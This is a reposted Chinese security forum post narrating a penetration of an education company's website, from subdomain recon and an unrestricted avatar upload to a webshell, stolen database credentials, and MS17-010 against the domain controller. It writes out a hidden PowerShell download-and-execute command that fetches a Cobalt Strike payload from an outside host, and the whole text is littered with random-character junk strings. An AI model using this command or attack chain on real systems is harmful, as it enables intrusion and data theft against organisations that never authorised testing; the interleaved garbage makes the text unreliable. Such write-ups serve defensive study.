找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2105|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

" H, [& Q* w! K9 r W. D, u# S 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路. i' w: \0 Q I) H8 o/ M

& i: [; y" }( \

, Z4 L7 m4 M; M& N6 {  " |& D Y* Y7 L0 D

: h- S) @( @' V7 J9 U- S

3 a9 `6 [0 e6 Y& g# b3 E# F 正文8 |# H, Q a/ b+ f; a# \% `

N, J5 p' ?. |: {* }3 P

0 Y% v- i( D* |1 A  1 H1 A+ u S/ L( G) W

# ~4 ?$ _/ P1 k& v9 m7 q

9 K6 C! B/ l; D0 {* | 目标:www.xxxx.com(一家教育机构)
3 S) C6 m/ R* L5 w
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
# u4 [& F7 l2 Y

+ m! b" s$ `9 x" O' K) i

& Z4 e' n' f- \/ o; K+ k$ ? vshapes=, ?' w" O' e: ]6 B

& p5 Z( f9 m0 }1 [/ Q4 c. m8 K) g

# X* J4 \" J4 a: t. f. v7 N 进行了简单的信息搜集
# F( u) b. @; o
1 v/ C$ y/ ~' y6 P1 s
* g3 V4 q2 L" o% e

( _0 @/ Y- Q+ G5 i& C0 h

0 ~: A. C/ |! c8 l2 @( v, o 子域名搜集" J2 [) Y3 _/ w; ^& m' t7 A

& b0 E+ a9 Y9 D! G

! f l. W- C) N: @% m vshapes= . \2 `0 M' {7 d) q2 t3 x

3 k: `+ M/ H! X2 i" v' D- e) b

/ m: s% ?4 ^( y' M. i- ~4 x5 Q9 t& l8 U fofa找资产
g, A; o& B0 _8 a0 ~7 E
* ^( w# T" a; N$ P
1 y5 i* `7 M- r: I, U

& ?) Q& }6 y0 G1 }

: v! `! e* y9 p2 p. f vshapes=9 `& L: o9 R/ g3 i

+ H% C) G5 s1 _5 d

2 T. H( G% m5 }* u; p 一共七个资产。去重之后只有两个。
: k# Y% M& K6 e7 r2 q& y# K( m
0 r( L0 R" ~0 V/ E7 P8 v, g3 Q( v
0 h3 L% ` u* G m0 b4 e( q

. i) O6 z# _/ i7 \: ]$ P0 _, }% w/ _

5 K1 g) E* y! I0 u 目录探测# r3 K& N/ W4 s$ H: d

5 e0 x9 D+ b0 W! v f- f# r2 y' X1 F

+ y0 m$ q1 P: t* p; B- z vshapes=$ |0 z% U8 e) D0 W# E% U# `

9 { M2 Z3 F9 Q. t% m+ B

% F9 n/ T8 L; ~/ J- G 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
& w# L) p9 y( D7 x- @4 `7 d" ^
# o$ D4 l- h5 a, m
w- X8 L- k. q6 }. P

& ?* C+ |. \) X- B t; r

7 J; i0 o% B0 d2 f- ^/ W" v 我又尝试了通过修改返回包来绕过登录界面 2 j4 x. G9 @6 L) Y4 b1 P

( _+ ~3 W7 J7 k- C/ q. m; ]

+ c9 a( Z$ i! v2 m$ `- c vshapes= , @9 H7 D4 f) P

* J- _: K3 b1 b$ v* d" p8 B- l( ^

& H1 d* u+ i4 U9 d' ?) u 还是不行,尝试注入无果3 s9 D. h) Q4 \( H) w3 C8 C1 o

+ z5 I5 [" u/ D. h. ~1 @( Y

: m# e( l& g& V% v0 _. K: U vshapes= % @6 X+ a& d" Y

2 ^5 f# z! _% _! I, D3 i

* F8 o6 w% m% W. g4 \, \ V 不过我目录探测出了一处Spring信息泄露
- p: H4 [1 `$ A: [
) e2 g5 o$ S( ~* {+ |, B$ p6 l
5 i' V0 ^: N. T

o, ~ r& t: p( E- g/ o" e: C; O

& \9 X+ Y" t2 u/ u4 O& a; d- w vshapes=8 A$ N! R# L, o8 C

( S8 |! I: S7 _0 P

% @5 S3 a3 c4 D 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 0 U0 }4 K4 _3 N

5 I# `" ^$ a0 z* q+ T$ r2 D

9 y4 Z( W# n# ~; b& [ vshapes= & S O8 } K# {5 F. F

8 J8 \. l: O2 Y6 e5 I2 I

, T$ w( {" H: y0 ]& F; d" e ] 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。4 h9 t/ @3 l! [; X7 `% }5 i% V

+ W$ V% B0 X. a* G8 W

^/ m* S \# N vshapes= ?- ` o9 D( {2 |( N

3 u9 @: i* d" o3 U

4 k: X6 E- k& s: W3 I0 [' ` 获取有些师傅到这一步就手机抓包电脑测了。( v9 c" `' m2 {6 j1 c

& Q' A5 z0 u" u% d8 r b

3 n* ?4 j/ M0 _3 _& _5 q" e Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。 : W2 f0 U% f/ s; s$ B6 J

0 a/ S$ u# a& o$ n5 y7 j+ v

2 v ^9 C) J& m1 I 其中在一个公众号发现了小程序,可以进行注册。 * I) ]& d, o+ k/ ~# x3 Z! K, `

* _) @' L& ?; O7 k0 Y; Z

+ h* b! |* \! {& A 看到了头像上传,尝试上传获取WebShell 7 Y6 i! u5 ~+ O

4 U( u' R, H' Y. w$ S/ k/ c

1 r" h! ^+ R1 a' g6 c vshapes=& d e8 M% H" n0 _' }5 m3 t8 ]

6 W7 _' f% E: U; V

: O7 T( R$ v8 P- f& F1 f" Q 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问 / B+ T9 `: d+ t: p0 u

+ ~- U. q( j3 U7 \( @; u! w% ?# C

* D- d7 `6 F9 y% r vshapes= , h3 T/ {& S2 b {( B4 z- ?

/ k8 U* U5 R3 n* R

2 W7 \/ Z# t/ Z1 Z: Q7 J 然后上了大马 - ? w1 k& A, M1 ~

, C' E9 C/ E! v. i2 U5 }

# ?2 b+ q( m3 r: |- P- N vshapes= 8 u- c5 U* Z( U2 l4 C9 e6 G1 ~4 W& `

9 E# J! C8 R0 C/ _& I

7 R/ F# g0 D! L vshapes=7 V, {3 U5 u1 _$ x, s9 f

" B- S7 a; f+ i7 B" u" i9 X8 `1 u0 F% J

M0 J6 t* W/ ^; c 通过翻找文件发现数据库账号密码1 l# T+ Y/ g" O+ L# e$ Q+ J

o3 i7 {; P4 U$ W9 h0 w

2 `8 e& I) w% S; N& L5 Y vshapes= / |) m/ O' s6 ~1 i2 M- r

Q% b3 H$ w$ Z5 K

( w# p2 Z! S3 \) \& w --内网渗透 9 @3 @( Y7 t" O6 e

$ U, ~/ T4 _7 H/ j3 E4 P0 r- }+ S

) w7 p8 \* z' x! j3 Y( t* K 直接通过powershell执行 cs上线; r# _( x4 g6 e3 [5 j" l

9 A, F& F4 M0 l

: e7 l/ l. m& M, a6 f9 L, i# D1 H powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" * u7 m6 J( G. n- J I5 u5 j9 y

( L! u$ \( _. \' X6 f! ?

8 X% s, O: Z2 Z9 ^, H' I( t M vshapes=! D7 O. R( g0 Q" {

[6 _. v2 k1 ?/ d2 i

0 _- l# L: P3 f# M7 W 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破1 Y }6 X( h$ B# K4 w! n& |

* C* @8 f, f5 P/ v/ q! j5 T+ M0 m

0 u" w3 a; [9 G) R( q2 D5 T! V vshapes= 0 H8 M' a3 o; r0 O& ?( ]4 E

( T8 p( _1 _" D; h# ~

* J1 y7 D6 ]& Z6 f9 e. S) R; H- Q1 M 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
. u$ W8 z2 j2 \3 K* G
$ u8 A; R4 I/ R
5 X* |! m: X9 L& B: D! T* M+ J
0 |6 o' _( O% h: ^6 n7 ^7 ?

C! B' f, L! }! e& N" a

! w) D* J$ a0 ^: v1 @& u vshapes=+ O) H: m; X8 _8 t8 P

! V5 ^8 B7 i- U O- h6 e

: b5 p) T; h) \( d9 B2 B 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
# c; U2 c2 o: A. ]
: t- H( {' O9 {
. }- T0 H' o! w7 f8 ~ w0 ]- E

$ s& W* l" A: A3 P3 @0 a$ H0 r: { t' {

2 x& ]5 C$ G7 ^+ I) w6 o( c vshapes=+ K3 Z+ y' ^6 Q& ~7 f& y, y

2 N( `9 V4 ~! h. w# u" p/ Y. W

1 S( V' I, C% g
0 a) f1 \3 P$ C8 M9 ]. B8 P
* n0 a6 J/ L$ Z! s
8 O/ ]0 ]* r3 z; M+ p& J" s

+ R" ?$ c2 `6 Q8 A

3 s( ^6 H: I; w* Y2 ]& ^   - X2 ]5 |. h, i2 P$ d6 ?

D. c1 \ }9 |- s

' M ]5 P5 j% b; [ 小结4 P+ z( M1 G/ R

8 k2 R( [* @ n. ]+ D5 P

1 v M0 F8 Z/ u- B8 v7 V ~  % ?+ h, P k& |& ~- ~3 W

& X3 l4 W& x/ Z

1 |( w7 i& [' e$ p; {: t, n 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!1 E8 _. M8 i' w3 @" n L6 G

& X) v" |$ O1 r' B m; N0 @, f

5 Z6 g: y/ a) g/ O- X. O  1 x/ Y" q) h7 Z0 ^+ k! S$ e

$ J; f# i% I, u! y. S; o9 F$ {3 m( u
    * n$ c# A* b' `2 B U$ d* q
  • 2 L% k, i! e) S' x. w8 H  : p- Y4 R; L! ]$ ^5 n/ X4 m
  • & q7 G$ g9 @6 Q) y8 Z- Q) Z" ?6 K
  • & @1 x6 f; U- D! j% c; U5 V  5 N4 L8 w% e/ Z- ?7 i, [9 X: Q
  • 5 D& f+ U$ m: R' @* r/ y i
3 L6 C& c! z2 H& Z

# R p" Y6 [7 ^. | 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html 8 ?& j: O) v! u

% s. Z* B6 l8 L

; V0 K; O) B9 d   3 `0 S8 g. f; T

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表